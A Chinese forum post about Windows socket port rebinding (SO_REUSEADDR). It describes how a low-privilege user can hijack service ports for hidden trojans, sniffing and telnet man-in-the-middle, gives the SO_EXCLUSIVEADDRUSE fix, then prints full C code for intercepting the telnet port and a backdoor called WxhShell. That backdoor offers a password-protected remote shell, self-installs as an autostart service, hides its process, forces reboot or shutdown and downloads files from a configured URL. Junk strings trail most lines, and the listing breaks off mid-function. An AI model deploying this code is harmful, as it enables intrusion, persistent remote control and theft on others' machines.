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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: smn"]K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e HphM;C  
X{-4w([  
  saddr.sin_family = AF_INET; 11H`WOTQF  
L< F8+a7i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E'AR.!  
CsO!Y\'FY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P3zUaN \c  
RM2Ik_IH[l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ewMVUq*:  
F]$ Nu  
  这意味着什么?意味着可以进行如下的攻击: 6V;Dcfvi  
_Id'56N]J!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 / ;`H )  
E)v~kC}7.  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) noZbsI4  
K.Xy:l*z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -^@FZ R^Y  
}LUvh  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  MP%#)O6  
'n &p5%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `~GXK  
?WI v4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /vQ)$;xf#  
x93@[B*%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !nmZ"n|}p  
X|of87  
  #include >^Nnhnr  
  #include PQHztS"  
  #include -)V0D,r$[  
  #include    ,1 -%C)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y+-yIMt$r  
  int main() o|xf2k  
  { S^QEctXU  
  WORD wVersionRequested; q\fbrv%I4  
  DWORD ret; !sT>]e  
  WSADATA wsaData; K9<8FSn  
  BOOL val; a5a ;Fp  
  SOCKADDR_IN saddr; r:QLU]   
  SOCKADDR_IN scaddr; GBz? $]6  
  int err; _J,**AZ~z  
  SOCKET s; i$Y#7^l%k  
  SOCKET sc; V.~kG ,Ht  
  int caddsize; /J`}o}  
  HANDLE mt; dwA"QVp{  
  DWORD tid;   ,ri&zbB  
  wVersionRequested = MAKEWORD( 2, 2 ); 1$*8F  
  err = WSAStartup( wVersionRequested, &wsaData ); MK#   
  if ( err != 0 ) { /X}1%p  
  printf("error!WSAStartup failed!\n"); gwj?.7N*k  
  return -1; x\yM|WGL  
  } }QE.|.fA1  
  saddr.sin_family = AF_INET; ;}B=g/C  
   "*lx9bvV_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ZU\$x<,  
JsY,Q,D q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ws2q/[\oz  
  saddr.sin_port = htons(23); v^9eTeFO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7 [Us.V@  
  { 6i/unwe!`)  
  printf("error!socket failed!\n"); bb_elmb)n  
  return -1; [v1$L p  
  } rZI63S  
  val = TRUE; g@H<Q('fJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @rhS[^1wi+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1jC85^1Taq  
  { OTy!Q,0$.  
  printf("error!setsockopt failed!\n"); zw<<st Bp  
  return -1; uP9b^LEoN  
  } 2CC"Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; h,[L6-n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z%}"=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |!oC7!+0^  
`I7s|9-=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a~KtH;7<  
  { IADSWzQ@  
  ret=GetLastError(); -jjB2xP  
  printf("error!bind failed!\n"); 8:Hh;nl  
  return -1; ^#5'` #t  
  } HNkOPz+d&8  
  listen(s,2); d V%o:@Z  
  while(1)  (?Ku-k  
  { AbNr]w&pXC  
  caddsize = sizeof(scaddr); -x ?Z2EA!  
  //接受连接请求 $1=7^v[U  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ! fk W;|  
  if(sc!=INVALID_SOCKET) <Sot{_"li  
  { )CXlPbhY?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0Gu77&  
  if(mt==NULL) A rE~6X  
  { /)K')  
  printf("Thread Creat Failed!\n"); lBP?7`U  
  break; SFg4}*"C/  
  } %DuPM6 6r  
  } L,zx\cj?z  
  CloseHandle(mt); or-k~1D  
  } a"s2N%{  
  closesocket(s); 091m$~r*  
  WSACleanup(); 5bb#{?2i  
  return 0; oyVT  
  }   *twGIX  
  DWORD WINAPI ClientThread(LPVOID lpParam) <MEm+8e/s6  
  { P$'PB*5d|  
  SOCKET ss = (SOCKET)lpParam; GW {tZaB  
  SOCKET sc; \d:Q%S  
  unsigned char buf[4096]; .#y#u={{l  
  SOCKADDR_IN saddr; C b'|  
  long num; \BBs;z[/  
  DWORD val; c:Czu  
  DWORD ret;  W2` 3 p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B1X&O d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %)i&|AV"  
  saddr.sin_family = AF_INET; U<Oc&S{]*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Vg62HZ |  
  saddr.sin_port = htons(23); zd_N' :6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E+y_te^+b  
  { p;4FZ$  
  printf("error!socket failed!\n"); |X{j^JP 5  
  return -1; C.4(8~Y=~  
  } :U\* 4l  
  val = 100; |kmP#`P~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Jk{SlH3'  
  { D*UxPm"pw  
  ret = GetLastError(); $.C\H,H  
  return -1; G;gsDn1t  
  } @zGF9O<3,@  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M8lw; (  
  { f['I4 /o  
  ret = GetLastError(); l&\y]ZV={  
  return -1; h]@'M1D%  
  } .XpuD,^;@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Xg.Lo2s  
  { x`?>j$  
  printf("error!socket connect failed!\n"); sssw(F  
  closesocket(sc); t<Sa ;[+  
  closesocket(ss); 0SD'&   
  return -1; )4fQ~)  
  } (tO4UI5!  
  while(1) dr#%~I  
  { T=NLBJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y ;mk]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5[g&0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \<I&utn  
  num = recv(ss,buf,4096,0); :V$\y up  
  if(num>0) L%[>z'Zp  
  send(sc,buf,num,0); ="G2I\  
  else if(num==0) -[!t=qi  
  break; CeU=A9  
  num = recv(sc,buf,4096,0);  9qa/f[G  
  if(num>0) &y0GdzfQd  
  send(ss,buf,num,0); a2?@OJ  
  else if(num==0) ['>ZC3?"h  
  break; !0p K8k&MG  
  } Bor_(eL^  
  closesocket(ss); RaLV@>jPm  
  closesocket(sc); Z<<=2Xl(  
  return 0 ; V+D<626o  
  } it{Jd\/hR  
{'alA  
BN&)5M?Xt6  
========================================================== nh7_ jEX  
UvMkL  
下边附上一个代码,,WXhSHELL U8aVI  
/IcGJ&;  
========================================================== ZxO o&YR3  
{zd[8TJ~xa  
#include "stdafx.h" cK[=IE5  
d&G]k!|\  
#include <stdio.h> }e|cszNRd  
#include <string.h> o]V.6Ge-  
#include <windows.h> eSIG+{;&  
#include <winsock2.h> Qu<6X@+5  
#include <winsvc.h> |L*=\%t8  
#include <urlmon.h> X}G$ON  
>/RFff]Fh0  
#pragma comment (lib, "Ws2_32.lib") E el*P M  
#pragma comment (lib, "urlmon.lib") M8:i]   
IjOBY  
#define MAX_USER   100 // 最大客户端连接数  &I-T  
#define BUF_SOCK   200 // sock buffer kE6/d,  
#define KEY_BUFF   255 // 输入 buffer RU#}!Kq  
*]/iL#  
#define REBOOT     0   // 重启 Slo^tqbG  
#define SHUTDOWN   1   // 关机 pC,Z=+:  
J e|   
#define DEF_PORT   5000 // 监听端口 `3? HQ2n  
gdSqG2/&  
#define REG_LEN     16   // 注册表键长度 >+<b_q|P  
#define SVC_LEN     80   // NT服务名长度 %yc-D]P/  
aZo}Ix:/  
// 从dll定义API %Unwh1VG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7f3,czW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4n.JRR&;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Kt qOA[6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tf54EIy5Y  
Q "NZE  
// wxhshell配置信息 67/\0mV:~  
struct WSCFG { 3st?6?7|  
  int ws_port;         // 监听端口 A *:| d~  
  char ws_passstr[REG_LEN]; // 口令 feS$)H9-  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;`xCfOY(  
  char ws_regname[REG_LEN]; // 注册表键名 NKEmY-f;  
  char ws_svcname[REG_LEN]; // 服务名 wWx{#!W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iEI#J!~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P9:5kiP H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 THy?Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t@R n#(~"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %hmRh~/&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &=S:I!9;;  
`, ]ui*  
}; og8hc~:ro  
I*N v|HST  
// default Wxhshell configuration f tl$P[T  
struct WSCFG wscfg={DEF_PORT, K@:omT  
    "xuhuanlingzhe", .* `]x  
    1, @J>JZ7m]\  
    "Wxhshell", SHSfe{n  
    "Wxhshell", bxwwYSS  
            "WxhShell Service", z}==6| {  
    "Wrsky Windows CmdShell Service", aso8,mpZuA  
    "Please Input Your Password: ", nVoWER:  
  1, _pb*kJ  
  "http://www.wrsky.com/wxhshell.exe", "uL~D5!f  
  "Wxhshell.exe" 9fs-|E[5  
    }; Vp1ct06^  
a6xo U;T  
// 消息定义模块 C6F7,v62  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :J @3:+sr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `#W+pO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I YtiX  
char *msg_ws_ext="\n\rExit."; F#L1~\7  
char *msg_ws_end="\n\rQuit."; %2b^t*CQ  
char *msg_ws_boot="\n\rReboot..."; w2s06`g  
char *msg_ws_poff="\n\rShutdown..."; x8C\&ivn  
char *msg_ws_down="\n\rSave to "; LibQlNW\  
IS!OO<  
char *msg_ws_err="\n\rErr!"; (x\VGo  
char *msg_ws_ok="\n\rOK!"; I0H]s/*C%9  
qAd=i0{N  
char ExeFile[MAX_PATH]; 6&;GC<].(y  
int nUser = 0; KX;JX*)J  
HANDLE handles[MAX_USER]; J,?F+Qji&=  
int OsIsNt; U8NX%*oW  
)HI\T];  
SERVICE_STATUS       serviceStatus; m3o -p   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;!VxmZ:j[  
|.m)UFV  
// 函数声明 S:i# |T."  
int Install(void); CLmo%"\ s  
int Uninstall(void); a}FY^4hl+  
int DownloadFile(char *sURL, SOCKET wsh); 4 X/UyBk  
int Boot(int flag); !&b| [b  
void HideProc(void); p/nATvh$  
int GetOsVer(void); o o'7  
int Wxhshell(SOCKET wsl); |/xx**?  
void TalkWithClient(void *cs); uh.;Jj;  
int CmdShell(SOCKET sock); U/A iI;Ne  
int StartFromService(void); \\13n4fAv  
int StartWxhshell(LPSTR lpCmdLine); DrioBb@  
G9Kck|50  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uxDM #  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A/:_uqm4  
EAXl.Y. $  
// 数据结构和表定义 ZCZ@ZN  
SERVICE_TABLE_ENTRY DispatchTable[] = ^ Lc\{,m  
{ _[E+D0A  
{wscfg.ws_svcname, NTServiceMain}, >W >Ei(f  
{NULL, NULL} ORF:~5[YS`  
}; + a nsN~3  
=+mb@#="m  
// 自我安装 uJH[C>  
int Install(void) \X\f ~CB  
{ | ?vm.zp  
  char svExeFile[MAX_PATH]; eC%Skw  
  HKEY key; Cy/VH"G=  
  strcpy(svExeFile,ExeFile); e Csk\f`  
vK+reXE  
// 如果是win9x系统,修改注册表设为自启动 A-uIZ zC  
if(!OsIsNt) { LWTPNp:"{w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pZ \7!rON  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -@_v@]:  
  RegCloseKey(key); Q 318a0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e Bxm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E X'PRNB,  
  RegCloseKey(key); &V~l(1  
  return 0; j-R*!i  
    } itirh"[  
  } ~AYleM  
} w$9LcN  
else { 4P1}XYD-2  
{]}94T~/k  
// 如果是NT以上系统,安装为系统服务 6MY<6t0a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :EQ{7Op`  
if (schSCManager!=0) vaP`'  
{ MomHSvQ\  
  SC_HANDLE schService = CreateService 9-{=m+|b  
  ( 6uo;4}0  
  schSCManager, ~I+MuI[  
  wscfg.ws_svcname, 300w\9fn&  
  wscfg.ws_svcdisp, njX$?V   
  SERVICE_ALL_ACCESS, 0stc$~~v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0&]1s  
  SERVICE_AUTO_START, bz#]>RD  
  SERVICE_ERROR_NORMAL, Rb0I7~Z%'d  
  svExeFile, 9!uiQ  
  NULL, z dgS@g  
  NULL, W +ER'lX  
  NULL, u>:(MARsR  
  NULL, *QiQ,~Ep  
  NULL NvJ5[W  
  ); %Rn*oV  
  if (schService!=0) 6^'BTd  
  { c'eZ-\d{  
  CloseServiceHandle(schService); A/'po_'uy  
  CloseServiceHandle(schSCManager); m]AT-]*f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3)W zX  
  strcat(svExeFile,wscfg.ws_svcname); rT/r"vr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { b@;Wh-{d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8;DDCop 8L  
  RegCloseKey(key); V9v20iX  
  return 0; ,u2Qkw  
    } I!S Eb  
  } WrGnLE kiV  
  CloseServiceHandle(schSCManager); n^T,R  
} .N qXdari  
} R);Hd1G  
I} jgz  
return 1; be,Rj,-  
} }<0N)dpT  
]oB~8d  
// 自我卸载 1Hr}n6s  
int Uninstall(void) lQ;BI~  
{ Q< :RLKVT  
  HKEY key; ">oySo.B?  
$mn0I69  
if(!OsIsNt) { + t5SrO!`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f_jhQ..g<g  
  RegDeleteValue(key,wscfg.ws_regname); CP~ZIIip"  
  RegCloseKey(key); {?H5Pw>{%h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sF{aG6u   
  RegDeleteValue(key,wscfg.ws_regname); w*ans}P7  
  RegCloseKey(key); g |>LT_  
  return 0; "r-P[EKpL  
  } Mqr_w!8d  
} eluN~T:W  
} Dw%'u'HG  
else { y QW7ng7D0  
`5IrV&a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [k6I#v<&  
if (schSCManager!=0) y?<KN0j  
{ C!VhVOy>d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _p-e)J$7  
  if (schService!=0) G#n 4g :K  
  { f"ndLX:'}  
  if(DeleteService(schService)!=0) { XM rk2]_  
  CloseServiceHandle(schService); @Vre)OrN#  
  CloseServiceHandle(schSCManager); B.q/}\ ?(  
  return 0; y7,I10:D  
  } Re,;$_6o  
  CloseServiceHandle(schService); {o}U"b<+Ra  
  } }KI/fh  
  CloseServiceHandle(schSCManager); 0[MYQl`  
} |C [!A  
} ]M7FIDg  
94"+l@K  
return 1; .[Sis<A]%  
} [.gk{> #  
y{%0[x*N<m  
// 从指定url下载文件 LhJUoX  
int DownloadFile(char *sURL, SOCKET wsh) 7~Y\qJ4b  
{ !T{+s T  
  HRESULT hr; PI9,*rOy  
char seps[]= "/"; +>Wo:kp3  
char *token; TN(Vzs%  
char *file; eZ$7VWG#  
char myURL[MAX_PATH];  LR97FG  
char myFILE[MAX_PATH]; 0k]ApW  
!5`MiH  
strcpy(myURL,sURL); 0!hr9Y]Lx  
  token=strtok(myURL,seps); mZ+!8$1X  
  while(token!=NULL) Mog >W&U  
  { EoAr}fI  
    file=token; 5h5izA'0'  
  token=strtok(NULL,seps); _~<sb,W  
  }  /8x';hQ  
A)f-r  
GetCurrentDirectory(MAX_PATH,myFILE); Rx-\B$G  
strcat(myFILE, "\\"); (` *BZ_  
strcat(myFILE, file); m2PUU/8B/  
  send(wsh,myFILE,strlen(myFILE),0); pbH!u+DF  
send(wsh,"...",3,0); aAg Qv*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7Ak<e tHD  
  if(hr==S_OK) $}9jv3>)  
return 0; |Y7SP]/`gB  
else ]o6 ZZK  
return 1; Tagf7tw4  
TeHJj`rdAU  
} 586P~C[ic  
i2=- su  
// 系统电源模块 h^Wb<O`S  
int Boot(int flag) D=e*rrL7a  
{ 19E(Hsz  
  HANDLE hToken; Pb5yz-?  
  TOKEN_PRIVILEGES tkp; rzf Lp  
RkYdK$|K  
  if(OsIsNt) { AO-5>r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Na0^csPm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tFmB`*!%  
    tkp.PrivilegeCount = 1; 'S`l[L:.8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3=O [Q:8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c!EA>:;(<  
if(flag==REBOOT) { / Hr|u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n7t}G'*Y!^  
  return 0; 1&w%TRC2x  
} JipNI8\r  
else { AyE*1 FD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .9J^\%JD  
  return 0; p{Lrv%-j  
} H$`U] =s|  
  } ]LvP)0=  
  else { x3+ -wv  
if(flag==REBOOT) { (TZK~+]@sb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `B %%2p&  
  return 0; q/s-".%P  
} I}`pY3  
else { K#R]of~/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TU|#Pz7n-Z  
  return 0; C[7!pd  
} #-L0.z(  
} _Ewh:IM-  
f"Sp.'@  
return 1; iOiF kka  
} l2F#^=tp  
t&?jJ7 (&8  
// win9x进程隐藏模块 OyO<A3  
void HideProc(void) v=k+MvX  
{ $kUB%\`  
}&0LoW/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "r^RfZ;  
  if ( hKernel != NULL )  2E*=EjGV  
  { ZF7n]LgSc&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fG \" p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x^lc T  
    FreeLibrary(hKernel); SeHrj&5U  
  }  a*p|Ij  
aL(G0@(  
return;  VY6G{f  
} O=%Ht-kOc  
8a6.77c  
// 获取操作系统版本 )Jt. Z^J<  
int GetOsVer(void) u`v&URM  
{ Q>5f@aN  
  OSVERSIONINFO winfo; .gO|=E"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z_ GGH2u  
  GetVersionEx(&winfo); =z. hJu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e66Ag}Sw|  
  return 1; ? dJd7+A  
  else qJG;`Ugl:  
  return 0; An_(L*Qz  
} onu G  
lf"w/pb'  
// 客户端句柄模块 {IOc'W-C#2  
int Wxhshell(SOCKET wsl) ULK] ' Rn  
{ -;cF)C--12  
  SOCKET wsh; >/-H!jUF]  
  struct sockaddr_in client; eg;r38   
  DWORD myID; Q0xGd(\  
%U{6 `m  
  while(nUser<MAX_USER) "rMfe>;FJ  
{ 2S7 BzZ/  
  int nSize=sizeof(client); )j2 #5`?"j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G$,s.MSf  
  if(wsh==INVALID_SOCKET) return 1; 6aB]&WO1@  
QPm[4Fd{G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "E+;O,N-  
if(handles[nUser]==0) GP+=b:C{E  
  closesocket(wsh); H!Gw@u]E  
else $6m@gW]N  
  nUser++; D2VYw<tEA  
  } cn}15JHdR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PxYK)n9&  
UG\2wH_  
  return 0; {aA6b  
} igL5nE=n  
(-yif&  
// 关闭 socket >V8!OaY5n  
void CloseIt(SOCKET wsh) tD`^qMua  
{  dF `7]  
closesocket(wsh); oL9<Fi  
nUser--; 8b0j rt  
ExitThread(0); Mq~E'g4#  
} qt.4dTd:_  
62nmm/c  
// 客户端请求句柄 H, 3Bf  
void TalkWithClient(void *cs) 9+ Mj$  
{ z:S:[X 0  
oaha5aWH  
  SOCKET wsh=(SOCKET)cs; Q"s6HZ"YI  
  char pwd[SVC_LEN]; SN)Czi#7  
  char cmd[KEY_BUFF]; ^/Hf$tYI!`  
char chr[1]; @5&57R3>  
int i,j;  6 wd  
sT=|"H?  
  while (nUser < MAX_USER) { g@x72$j  
+o3n%( ^~  
if(wscfg.ws_passstr) { j)G%I y[`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T$mT;k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?1g`'q@T%  
  //ZeroMemory(pwd,KEY_BUFF); n<|8Onw  
      i=0; Zbl*U(KU?  
  while(i<SVC_LEN) { G8]{pbX  
AHr^G'  
  // 设置超时 t,TlW^-  
  fd_set FdRead; l9/}fMi  
  struct timeval TimeOut; O<wH+k[  
  FD_ZERO(&FdRead); 3<.DiY  
  FD_SET(wsh,&FdRead); |H=5Am  
  TimeOut.tv_sec=8; wY8Vc"  
  TimeOut.tv_usec=0; uFmpc7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "r;cH53  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rc:UG "[  
.z$UNB(!M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !M}-N  
  pwd=chr[0]; U1 3Lsky%  
  if(chr[0]==0xd || chr[0]==0xa) { & :W6O)uY  
  pwd=0; x-@?:P*  
  break; x!85P\sm  
  } ~Gc@#Msj  
  i++; }x{1{Bw>Y  
    } dC4`xUv  
\{rhHb\|h  
  // 如果是非法用户,关闭 socket aA*h*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QHXpX9  
} [$$R>ELYQ  
H9_>a-> )~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MP@}G$O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4`5W] J]6  
ZQR)k:k7  
while(1) { J#w=Z>oz<  
q}'<[Wg  
  ZeroMemory(cmd,KEY_BUFF); .2P3 !KCL  
aFnyhu&W'  
      // 自动支持客户端 telnet标准   %;_EWs/z8  
  j=0; d hg($m  
  while(j<KEY_BUFF) { -NzOX"V]3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $D^27q:H  
  cmd[j]=chr[0]; 1*#hIuoj'  
  if(chr[0]==0xa || chr[0]==0xd) { $Y$s*h_-/<  
  cmd[j]=0; &a >UVs?=  
  break; N>s3tGh  
  } S=L#8CID  
  j++; >)[W7h  
    } &RS)U72  
HWL? doM  
  // 下载文件 Q[!?SSX%  
  if(strstr(cmd,"http://")) { E^w0X,0XlE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); } ?+0s=Z  
  if(DownloadFile(cmd,wsh)) e'v_eD T^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mu" vj*F  
  else 8SiWAOQAL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E9.1~ )  
  } :E|+[}|  
  else { :-2sKD y  
vl`St$$|  
    switch(cmd[0]) { NP.qh1{NP  
  kmJ<AnK  
  // 帮助 Q\^BOdX^`  
  case '?': { 21?>rezJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m KKa0"  
    break; :h0!giqoQ  
  } *MWI`=c  
  // 安装 : T4ap_Ycq  
  case 'i': { lP(<4mdP  
    if(Install()) xnZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aXbj pb+  
    else {!4ZRNy(k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .p~.S&)  
    break; "LZv\c~v,%  
    } TU| 0I  
  // 卸载 > LU !Z  
  case 'r': { (elkk#  
    if(Uninstall()) y+.(E-g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 61b<6 r0o  
    else n>lQ:l~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X*r?@uK5  
    break; HM\}C.u  
    } rsK b9G  
  // 显示 wxhshell 所在路径 .6i +_B|  
  case 'p': { $yZP"AsAR  
    char svExeFile[MAX_PATH]; f*[Uq0?  
    strcpy(svExeFile,"\n\r"); m`,h nDp  
      strcat(svExeFile,ExeFile); (jh0cy}|]  
        send(wsh,svExeFile,strlen(svExeFile),0); ;Ac!"_N?7  
    break; Fz$^CMw5K  
    } M[Jy?b)  
  // 重启 ]"vpCL  
  case 'b': { WODgG@w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I\6^]pi,  
    if(Boot(REBOOT)) qUNXT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $I3}% '`+  
    else { kPp7;U2A  
    closesocket(wsh); 3_Re>i  
    ExitThread(0); ^+dL7g?+  
    } wIQt f|ZI>  
    break; #|}EPD9$  
    } yu'@gg(  
  // 关机 R M`iOV,Y  
  case 'd': { L8KMMYh[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b(:U]>J  
